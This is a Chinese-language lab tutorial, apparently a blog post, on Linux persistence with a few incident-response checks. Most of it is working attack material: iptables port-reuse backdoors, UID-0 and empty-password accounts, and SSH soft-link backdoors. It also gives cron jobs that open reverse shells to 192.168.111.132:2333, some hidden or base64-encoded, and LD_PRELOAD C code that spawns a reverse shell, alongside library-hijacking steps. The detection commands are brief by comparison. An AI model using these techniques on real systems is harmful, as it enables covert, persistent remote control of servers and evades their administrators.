Linux持久化控制与应急实践
主要方式有:
端口复用
一般情况下,服务器开放某些特定端口来提供某项服务.例如提供HTTP服务的80端口,而对访问ssh服务22端口的流量进行屏蔽.攻击者可以通过端口复用技术,将访问ssh的数据流量通过服务器开放的80端口转发到服务器的22端口上,成功访问到ssh服务.
实验环境准备
操作系统: VMware + Centos7 ( 192.168.111.131)
-
启动ssh服务后,使用iptables禁止主机能够访问22端口
sudo iptables -I INPUT 5 -s 192.168.111.1 -p tcp --dport 22 -j DROP 删除这条防火墙记录 iptables -D INPUT 5 -
在服务器上配置(使用TCP触发)[测试失败]
-
创建端口复用链
iptables -t nat -N LETMEIN -
添加端口复用规则到复用链内部,将流量转发至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 -
如果TCP数据包中包含字符串"threathuntercoming",并且源地址是可信的(不是伪造的),就将这些数据包添加到名为"letmein"的列表中,并允许它们通过防火墙。
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT -
如果TCP数据包中包含字符串"threathunterleaving",并且源地址在名为"letmein"的列表中,就从该列表中移除源地址,并允许这些数据包通过防火墙。
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT -
对于来自TCP端口80的SYN数据包,如果源地址在名为"letmein"的列表中,并且在最近3600秒内有新连接,则将其重定向到名为LETMEIN的目标。
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
-
打开端口复用开关
echo threathuntercoming | socat - tcp:192.168.111.131:80
-
-
使用ICMP触发 [测试成功]
-
设置iptables
iptables -t nat -N LETMEIN iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN -
通过icmp协议触发(需要在攻击机上运行)
ping -c 1 -s 1111 192.168.111.131 -
使用icmp协议解除
ping -c 1 -s 1112 192.168.111.131
-
-
连接SSH
ssh root@192.168.111.131 -p 80
权限维持
超级用户
UID=0表示root用户,默认情况下只有root用户的UID为0,可以修改用户的UID,使其为0,成为超级用户
cat /etc/passwd | grep "/bin/bash$"
sudo useradd -u 0 username # don't create home dir
sudo useradd -u 0 -m username # create home dir
sudo usermod -u 0 -o username
检查UID为0的命令
awk -F: '$3 == 0 {print $1}' /etc/passwd
/etc/sudoers
sudo命令的工作原理是:当用户执行sudo命令时,系统会主动寻找/etc/sudoers文件,判断该用户是否具有执行sudo的权限,若确认用户具有权限后,让用户输入密码进行确认,但root用户在执行sudo时不需要输入密码,可以利用此文件配置如下内容让用户在不输入root用户密码的情况下使用sudo命令

然后以aa用户的身份输入如下命令:
sudo su
输入aa的密码
ssh软链接
-
查看
/etc/ssh/sshd_config里面的UsePam为yes (Centos默认为yes) -
查询可以用于软链接的路径
find /etc/pam.d | xargs grep "pam_rootok" -
建立一个软链接
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234 -
在测试的时候要注意关闭服务器的防火墙,不然连接不上
systemctl stop firewalld.service
SSH软链接后门-xin
cp /etc/pam.d/su /etc/pam.d/java
#cp /etc/pam.d/su postgres
ln -sf /usr/sbin/sshd /java;
#ln -sf /usr/sbin/sshd /postgres;
/java -oPort=5555
#/postgres -oPort=5555
cp /etc/pam.d/su /etc/pam.d/java
ln -sf /usr/sbin/sshd /java;
/java -oPort=5555
应急响应:
netstat -anpt

ll /proc/5284

定时任务
主要的定时任务路径
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/crontab
-
定时任务反弹SHELL
crontab -l | { cat; echo "*/1 * * * * bash -i >& /dev/tcp/192.168.111.132/2333 0>&1"; } | crontab - // 使用crontab -l 看不到 (crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.111.132/2333 0>&1;\rno crontab for `whoami`%100c\n")|crontab - // 更加隐秘 echo '*/1 * * * * root echo L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMTEuMTMyLzIzMzMgMDwmMSAyPiYx|base64 -d|sh' >> /etc/cron.d/0hourly 删除定时任务 crontab -e 删除所有的定时任务 crontab -r
查看日志应急
cat /var/log/cron
cat -A /var/spool/cron/root
空口令用户
passwd -d test
echo "PermitEmptyPasswords yes" >> /etc/ssh/sshd_config
service sshd restart
应急
cat /etc/ssh/sshd_config | grep PermitEmpty
Rookit
环境变量LD_PRELOAD

-
echo $LD_PRELOAD通过
LD_PRELOAD环境变量配置恶意文件LD_PRELOAD=so文件的绝对路径 export LD_PRELOAD制作LD_PRELOAD劫持so文件流程
-
查看我们要劫持的命令或系统文件中存在哪些可以被劫持的函数
readelf -Ws /usr/bin/ls
-
选择
strncmp函数作为劫持的函数,编译源码查看
strncmp在linux是如何定义的-
获取GNU C库的源代码
sudo apt-get install glibc-source #Debian sudo yum install glibc-devel #Centos -
在
/usr/src/或/usr/include/中查看string.h文件中的strcmp
#include<stdlib.h> #include<stdio.h> #include<string.h> void payload(){ system("bash -c '/bin/bash -i >& /dev/tcp/192.168.111.132/2333 0>&1'"); } extern int strncmp (const char *__s1, const char *__s2, size_t __n) { if(getenv("LD_PRELOAD") == NULL){ return 0; } unsetenv("LD_PRELOAD"); payload(); }编译加载
gcc -shared -fPIC test.c -o test.so -
-
劫持全局命令
#include<stdlib.h> #include<stdio.h> #include<string.h> __attribute__ ((__constructor__)) void preload (void){ unsetenv("LD_PRELOAD"); system("bash -c '/bin/bash -i >& /dev/tcp/192.168.111.132/2333 0>&1'"); }
-
-
/etc/ld.so.preload在该文件中直接写入so文件的路径即可
启动项
-
在
/etc/init.d/selinux下写入命令即可在服务器启动时的初始化过程中执行命令#!/bin/bash /usr/bin/bsd-port/knerl该文件需要具有可执行权限
chmod 755 selinux
静态劫持库文件
-
查看劫持的命令都调用了哪些库文件
ldd /usr/bin/whoami -
下载工具Patchelf,上传至服务器
# 添加静态库文件 ./patchelf --add-needed /tmp/test.so /usr/bin/whoami # 删除静态库文件 ./patchelf --remove-needed /tmp/test.so /usr/bin/whoami -
结果如图所示


浙公网安备 33010602011771号